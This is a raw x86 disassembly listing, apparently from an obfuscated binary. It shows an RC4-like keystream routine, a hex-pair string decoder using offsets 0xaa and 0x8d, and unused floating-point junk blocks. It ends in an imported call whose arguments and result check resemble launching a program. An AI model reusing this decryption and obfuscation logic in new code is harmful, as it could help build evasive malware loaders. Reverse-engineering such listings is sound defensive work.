movzx edx, byte [ebp - 0x753]
movzx eax, byte [ebp - 0x73e]
movzx ecx, byte [ebp + eax - 0x324]
movzx eax, byte [ebp - 0x73c]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x324]
xor edx, ecx
movzx eax, byte [ebp - 0x73f]
movzx ecx, byte [ebp + eax - 0x324]
movzx eax, byte [ebp - 0x743]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
movzx eax, byte [ebp - 0x752]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x324]
movzx eax, byte [ebp + ecx - 0x324]
xor edx, eax
mov byte [ebp - 0x73f], dl
movss xmm0, dword [ebp - 0x774]
mulss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x774], xmm0
movss xmm0, dword [ebp - 0x774]
addss xmm0, dword [ebp - 0x770]
movss dword [ebp - 0x774], xmm0
mov cl, byte [ebp - 0x753]
mov byte [ebp - 0x743], cl
mov dl, byte [ebp - 0x73f]
mov byte [ebp - 0x762], dl
cmp dword [ebp - 0x760], 0
jbe 0x986a7c
movsx ax, byte [ebp - 0x762]
mov ecx, dword [ebp - 0x760]
mov word [ebp + ecx*2 - 0xe], ax
mov edx, dword [ebp - 0x760]
add edx, 1
mov dword [ebp - 0x760], edx
mov eax, dword [ebp - 0x858]
add eax, 1
mov dword [ebp - 0x858], eax
mov ecx, dword [ebp - 0x760]
shl ecx, 1
mov dword [ebp - 0x85c], ecx
mov edx, dword [ebp - 0x878]
add edx, dword [ebp - 0x85c]
movzx eax, byte [edx]
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x828], 0xaa
mov ecx, dword [ebp - 0x760]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x860], edx
mov eax, dword [ebp - 0x878]
add eax, dword [ebp - 0x860]
movzx ecx, byte [eax]
mov dword [ebp - 0x82c], ecx
mov dword [ebp - 0x830], 0x8d
mov edx, dword [ebp - 0x83c]
sub edx, dword [ebp - 0x828]
mov dword [ebp - 0x834], edx
mov eax, dword [ebp - 0x82c]
sub eax, dword [ebp - 0x830]
mov dword [ebp - 0x838], eax
mov ecx, dword [ebp - 0x834]
shl ecx, 4
mov dword [ebp - 0x864], ecx
mov edx, dword [ebp - 0x838]
mov dword [ebp - 0x868], edx
mov eax, dword [ebp - 0x864]
or eax, dword [ebp - 0x868]
mov dword [ebp - 0x848], eax
mov cl, byte [ebp - 0x848]
mov byte [ebp - 0x753], cl
movzx edx, byte [ebp - 0x743]
mov al, byte [ebp + edx - 0x324]
mov byte [ebp - 0x751], al
movzx ecx, byte [ebp - 0x73c]
movzx edx, byte [ebp + ecx - 0x324]
movzx eax, byte [ebp - 0x73e]
add eax, edx
mov byte [ebp - 0x73e], al
mov cl, byte [ebp - 0x73c]
add cl, 1
mov byte [ebp - 0x73c], cl
movzx edx, byte [ebp - 0x73e]
movzx eax, byte [ebp - 0x743]
mov cl, byte [ebp + edx - 0x324]
mov byte [ebp + eax - 0x324], cl
movzx edx, byte [ebp - 0x73f]
movzx eax, byte [ebp - 0x73e]
mov cl, byte [ebp + edx - 0x324]
mov byte [ebp + eax - 0x324], cl
movzx edx, byte [ebp - 0x73c]
movzx eax, byte [ebp - 0x73f]
mov cl, byte [ebp + edx - 0x324]
mov byte [ebp + eax - 0x324], cl
movzx edx, byte [ebp - 0x73c]
mov al, byte [ebp - 0x751]
mov byte [ebp + edx - 0x324], al
movzx ecx, byte [ebp - 0x751]
movzx edx, byte [ebp + ecx - 0x324]
movzx eax, byte [ebp - 0x752]
add eax, edx
mov byte [ebp - 0x752], al
movzx ecx, byte [ebp - 0x753]
movzx edx, byte [ebp - 0x73e]
movzx eax, byte [ebp + edx - 0x324]
movzx edx, byte [ebp - 0x73c]
movzx edx, byte [ebp + edx - 0x324]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x324]
xor ecx, eax
movzx edx, byte [ebp - 0x73f]
movzx eax, byte [ebp + edx - 0x324]
movzx edx, byte [ebp - 0x743]
movzx edx, byte [ebp + edx - 0x324]
add eax, edx
movzx edx, byte [ebp - 0x752]
movzx edx, byte [ebp + edx - 0x324]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x324]
movzx edx, byte [ebp + eax - 0x324]
xor ecx, edx
mov byte [ebp - 0x73f], cl
mov al, byte [ebp - 0x753]
mov byte [ebp - 0x743], al
mov cl, byte [ebp - 0x73f]
mov byte [ebp - 0x762], cl
cmp dword [ebp - 0x760], 0
jbe 0x986cd2
movsx dx, byte [ebp - 0x762]
mov eax, dword [ebp - 0x760]
mov word [ebp + eax*2 - 0xe], dx
mov ecx, dword [ebp - 0x760]
add ecx, 1
mov dword [ebp - 0x760], ecx
mov edx, dword [ebp - 0x858]
add edx, 1
mov dword [ebp - 0x858], edx
mov eax, dword [ebp - 0x760]
shl eax, 1
mov dword [ebp - 0x85c], eax
mov ecx, dword [ebp - 0x878]
add ecx, dword [ebp - 0x85c]
movzx edx, byte [ecx]
mov dword [ebp - 0x83c], edx
mov dword [ebp - 0x828], 0xaa
mov eax, dword [ebp - 0x760]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x860], ecx
mov edx, dword [ebp - 0x878]
add edx, dword [ebp - 0x860]
movzx eax, byte [edx]
mov dword [ebp - 0x82c], eax
mov dword [ebp - 0x830], 0x8d
mov ecx, dword [ebp - 0x83c]
sub ecx, dword [ebp - 0x828]
mov dword [ebp - 0x834], ecx
mov edx, dword [ebp - 0x82c]
sub edx, dword [ebp - 0x830]
mov dword [ebp - 0x838], edx
mov eax, dword [ebp - 0x834]
shl eax, 4
mov dword [ebp - 0x864], eax
mov ecx, dword [ebp - 0x838]
mov dword [ebp - 0x868], ecx
mov edx, dword [ebp - 0x864]
or edx, dword [ebp - 0x868]
mov dword [ebp - 0x848], edx
mov al, byte [ebp - 0x848]
mov byte [ebp - 0x753], al
movsd xmm0, qword [0x9e57a8]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [0x9e56d8]
movsd qword [ebp - 0x8ec], xmm0
movsd xmm0, qword [0x9e55b0]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [0x9e5488]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [0x9e5350]
movsd qword [ebp - 0x7d0], xmm0
movsd xmm0, qword [ebp - 0x8ec]
subsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x8ec], xmm0
movsd xmm0, qword [ebp - 0x844]
addsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x870]
mulsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [ebp - 0x850]
addsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x8ec]
mulsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x8ec], xmm0
movsd xmm0, qword [ebp - 0x7d0]
comisd xmm0, xmmword [ebp - 0x870]
jbe 0x987080
movsd xmm0, qword [ebp - 0x7d0]
addsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x7d0], xmm0
movsd xmm0, qword [ebp - 0x870]
mulsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [ebp - 0x844]
subsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x850]
divsd xmm0, qword [ebp - 0x8ec]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x7d0]
addsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x7d0], xmm0
movsd xmm0, qword [ebp - 0x844]
mulsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x870]
subsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [ebp - 0x844]
divsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x8ec]
mulsd xmm0, qword [ebp - 0x870]
movsd qword [ebp - 0x8ec], xmm0
movsd xmm0, qword [ebp - 0x850]
divsd xmm0, qword [ebp - 0x8ec]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x7d0]
comisd xmm0, xmmword [ebp - 0x8ec]
jbe 0x987003
movsd xmm0, qword [ebp - 0x850]
divsd xmm0, qword [ebp - 0x8ec]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x844]
subsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x7d0]
mulsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x7d0], xmm0
movsd xmm0, qword [ebp - 0x7d0]
mulsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x7d0], xmm0
movsd xmm0, qword [ebp - 0x844]
divsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x844], xmm0
jmp 0x98707b
movsd xmm0, qword [ebp - 0x850]
subsd xmm0, qword [ebp - 0x870]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x844]
mulsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x844]
addsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x850]
divsd xmm0, qword [ebp - 0x870]
movsd qword [ebp - 0x850], xmm0
movsd xmm0, qword [ebp - 0x870]
subsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x870], xmm0
jmp 0x98710c
movsd xmm0, qword [ebp - 0x870]
mulsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [ebp - 0x844]
mulsd xmm0, qword [ebp - 0x850]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x870]
addsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x870], xmm0
movzx ecx, byte [ebp - 0x743]
mov dl, byte [ebp + ecx - 0x324]
mov byte [ebp - 0x751], dl
movsd xmm0, qword [ebp - 0x870]
mulsd xmm0, qword [ebp - 0x7d0]
movsd qword [ebp - 0x870], xmm0
movsd xmm0, qword [ebp - 0x7d0]
addsd xmm0, qword [ebp - 0x8ec]
movsd qword [ebp - 0x7d0], xmm0
movzx eax, byte [ebp - 0x73c]
movzx ecx, byte [ebp + eax - 0x324]
movzx edx, byte [ebp - 0x73e]
add edx, ecx
mov byte [ebp - 0x73e], dl
mov al, byte [ebp - 0x73c]
add al, 1
mov byte [ebp - 0x73c], al
movzx ecx, byte [ebp - 0x73e]
movzx edx, byte [ebp - 0x743]
mov al, byte [ebp + ecx - 0x324]
mov byte [ebp + edx - 0x324], al
movzx ecx, byte [ebp - 0x73f]
movzx edx, byte [ebp - 0x73e]
mov al, byte [ebp + ecx - 0x324]
mov byte [ebp + edx - 0x324], al
movzx ecx, byte [ebp - 0x73c]
movzx edx, byte [ebp - 0x73f]
mov al, byte [ebp + ecx - 0x324]
mov byte [ebp + edx - 0x324], al
movzx ecx, byte [ebp - 0x73c]
mov dl, byte [ebp - 0x751]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x751]
movzx ecx, byte [ebp + eax - 0x324]
movzx edx, byte [ebp - 0x752]
add edx, ecx
mov byte [ebp - 0x752], dl
movzx eax, byte [ebp - 0x753]
movzx ecx, byte [ebp - 0x73e]
movzx edx, byte [ebp + ecx - 0x324]
movzx ecx, byte [ebp - 0x73c]
movzx ecx, byte [ebp + ecx - 0x324]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x324]
xor eax, edx
movzx ecx, byte [ebp - 0x73f]
movzx edx, byte [ebp + ecx - 0x324]
movzx ecx, byte [ebp - 0x743]
movzx ecx, byte [ebp + ecx - 0x324]
add edx, ecx
movzx ecx, byte [ebp - 0x752]
movzx ecx, byte [ebp + ecx - 0x324]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x324]
movzx ecx, byte [ebp + edx - 0x324]
xor eax, ecx
mov byte [ebp - 0x73f], al
mov dl, byte [ebp - 0x753]
mov byte [ebp - 0x743], dl
mov al, byte [ebp - 0x73f]
mov byte [ebp - 0x762], al
cmp dword [ebp - 0x760], 0
jbe 0x987278
movsx cx, byte [ebp - 0x762]
mov edx, dword [ebp - 0x760]
mov word [ebp + edx*2 - 0xe], cx
mov eax, dword [ebp - 0x760]
add eax, 1
mov dword [ebp - 0x760], eax
mov ecx, dword [ebp - 0x858]
add ecx, 1
mov dword [ebp - 0x858], ecx
mov edx, dword [ebp - 0x760]
shl edx, 1
mov dword [ebp - 0x85c], edx
mov eax, dword [ebp - 0x878]
add eax, dword [ebp - 0x85c]
movzx ecx, byte [eax]
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 0x828], 0xaa
mov edx, dword [ebp - 0x760]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x860], eax
mov ecx, dword [ebp - 0x878]
add ecx, dword [ebp - 0x860]
movzx edx, byte [ecx]
mov dword [ebp - 0x82c], edx
mov dword [ebp - 0x830], 0x8d
mov eax, dword [ebp - 0x83c]
sub eax, dword [ebp - 0x828]
mov dword [ebp - 0x834], eax
mov ecx, dword [ebp - 0x82c]
sub ecx, dword [ebp - 0x830]
mov dword [ebp - 0x838], ecx
mov edx, dword [ebp - 0x834]
shl edx, 4
mov dword [ebp - 0x864], edx
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x868], eax
mov ecx, dword [ebp - 0x864]
or ecx, dword [ebp - 0x868]
mov dword [ebp - 0x848], ecx
mov dl, byte [ebp - 0x848]
mov byte [ebp - 0x753], dl
movzx eax, byte [ebp - 0x743]
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp - 0x751], cl
movzx edx, byte [ebp - 0x73c]
movzx eax, byte [ebp + edx - 0x324]
movzx ecx, byte [ebp - 0x73e]
add ecx, eax
mov byte [ebp - 0x73e], cl
mov dl, byte [ebp - 0x73c]
add dl, 1
mov byte [ebp - 0x73c], dl
movzx eax, byte [ebp - 0x73e]
movzx ecx, byte [ebp - 0x743]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x73f]
movzx ecx, byte [ebp - 0x73e]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movzx eax, byte [ebp - 0x73c]
movzx ecx, byte [ebp - 0x73f]
mov dl, byte [ebp + eax - 0x324]
mov byte [ebp + ecx - 0x324], dl
movsd xmm0, qword [0x9e5810]
movsd qword [ebp - 0x990], xmm0
movsd xmm0, qword [0x9e5790]
movsd qword [ebp - 0x998], xmm0
movsd xmm0, qword [0x9e5700]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [0x9e5600]
movsd qword [ebp - 0x894], xmm0
movsd xmm0, qword [0x9e54f8]
movsd qword [ebp - 0x908], xmm0
movsd xmm0, qword [0x9e5420]
movsd qword [ebp - 0x954], xmm0
movsd xmm0, qword [0x9e5310]
movsd qword [ebp - 0x89c], xmm0
movsd xmm0, qword [ebp - 0x894]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x894], xmm0
movsd xmm0, qword [ebp - 0x88c]
subsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x894]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x894], xmm0
movsd xmm0, qword [ebp - 0x894]
mulsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x894], xmm0
movsd xmm0, qword [ebp - 0x88c]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x998]
subsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x998], xmm0
movsd xmm0, qword [ebp - 0x88c]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x89c]
comisd xmm0, xmmword [ebp - 0x894]
jbe 0x9875bf
movsd xmm0, qword [ebp - 0x990]
addsd xmm0, qword [ebp - 0x88c]
movsd qword [ebp - 0x990], xmm0
movsd xmm0, qword [ebp - 0x908]
mulsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x908], xmm0
movsd xmm0, qword [ebp - 0x908]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x908], xmm0
movsd xmm0, qword [ebp - 0x908]
subsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x908], xmm0
movsd xmm0, qword [ebp - 0x894]
mulsd xmm0, qword [ebp - 0x954]
movsd qword [ebp - 0x894], xmm0
movsd xmm0, qword [ebp - 0x88c]
mulsd xmm0, qword [ebp - 0x908]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x990]
addsd xmm0, qword [ebp - 0x88c]
movsd qword [ebp - 0x990], xmm0
jmp 0x98767b
movzx eax, byte [ebp - 0x73c]
mov cl, byte [ebp - 0x751]
mov byte [ebp + eax - 0x324], cl
movsd xmm0, qword [ebp - 0x954]
mulsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x954], xmm0
movsd xmm0, qword [ebp - 0x998]
mulsd xmm0, qword [ebp - 0x88c]
movsd qword [ebp - 0x998], xmm0
movsd xmm0, qword [ebp - 0x88c]
subsd xmm0, qword [ebp - 0x894]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x88c]
subsd xmm0, qword [ebp - 0x894]
movsd qword [ebp - 0x88c], xmm0
movsd xmm0, qword [ebp - 0x908]
addsd xmm0, qword [ebp - 0x954]
movsd qword [ebp - 0x908], xmm0
movsd xmm0, qword [ebp - 0x954]
addsd xmm0, qword [ebp - 0x89c]
movsd qword [ebp - 0x954], xmm0
movsd xmm0, qword [ebp - 0x894]
addsd xmm0, qword [ebp - 0x908]
movsd qword [ebp - 0x894], xmm0
movzx edx, byte [ebp - 0x751]
movzx eax, byte [ebp + edx - 0x324]
movzx ecx, byte [ebp - 0x752]
add ecx, eax
mov byte [ebp - 0x752], cl
movzx edx, byte [ebp - 0x753]
movzx eax, byte [ebp - 0x73e]
movzx ecx, byte [ebp + eax - 0x324]
movzx eax, byte [ebp - 0x73c]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x324]
xor edx, ecx
movzx eax, byte [ebp - 0x73f]
movzx ecx, byte [ebp + eax - 0x324]
movzx eax, byte [ebp - 0x743]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
movzx eax, byte [ebp - 0x752]
movzx eax, byte [ebp + eax - 0x324]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x324]
movzx eax, byte [ebp + ecx - 0x324]
xor edx, eax
mov byte [ebp - 0x73f], dl
mov cl, byte [ebp - 0x753]
mov byte [ebp - 0x743], cl
mov dl, byte [ebp - 0x73f]
mov byte [ebp - 0x762], dl
cmp dword [ebp - 0x760], 0
jbe 0x987753
movsx ax, byte [ebp - 0x762]
mov ecx, dword [ebp - 0x760]
mov word [ebp + ecx*2 - 0xe], ax
mov edx, 2
imul eax, edx, 3
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x964], 8
jae 0x98776c
jmp 0x987771
call fcn.009c2bf7
xor ecx, ecx
mov edx, dword [ebp - 0x964]
mov word [ebp + edx - 0xc], cx
jmp 0x9877d1
mov dword [ebp - 0x760], 0
jmp 0x98779b
mov eax, dword [ebp - 0x760]
add eax, 1
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 4
jae 0x9877d1
mov ecx, dword [ebp - 0x760]
shl ecx, 1
mov dword [ebp - 0x968], ecx
cmp dword [ebp - 0x968], 8
jae 0x9877bd
jmp 0x9877c2
call fcn.009c2bf7
xor edx, edx
mov eax, dword [ebp - 0x968]
mov word [ebp + eax - 0xc], dx
jmp 0x98778c
push 1
push 0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x52c]
push edx
lea eax, [ebp - 0x24]
push eax
push 0
call dword [0xa137fc]
mov dword [ebp - 0x9c4], eax
push 0x104
push 0
lea ecx, [ebp - 0x734]
push ecx
call fcn.009c3d60
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x52c]
push edx
call fcn.009c3d60
add esp, 0xc
cmp dword [ebp - 0x9c4], 0x20
jle 0x987831
mov dword [ebp - 0x96c], 1
mov eax, dword [ebp - 0x96c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.009c2cd2
mov esp, ebp
pop ebp
ret